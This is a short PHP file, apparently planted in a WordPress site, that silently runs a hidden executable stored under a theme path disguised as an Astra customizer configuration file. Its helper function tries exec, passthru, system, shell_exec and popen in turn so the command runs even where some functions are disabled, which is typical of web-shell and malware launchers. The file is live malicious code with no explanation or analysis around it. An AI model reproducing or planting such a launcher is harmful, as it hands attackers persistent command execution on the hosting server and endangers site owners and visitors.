<?php   run("/home/zulfiqar/public_html/wp-content/themes/astra/inc/customizer/configurations/block-editor/canonical > /dev/null 2>&1"); function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = @shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f)) {             $out .= fread($f, 1024);         }         pclose($f);     }     return $out; }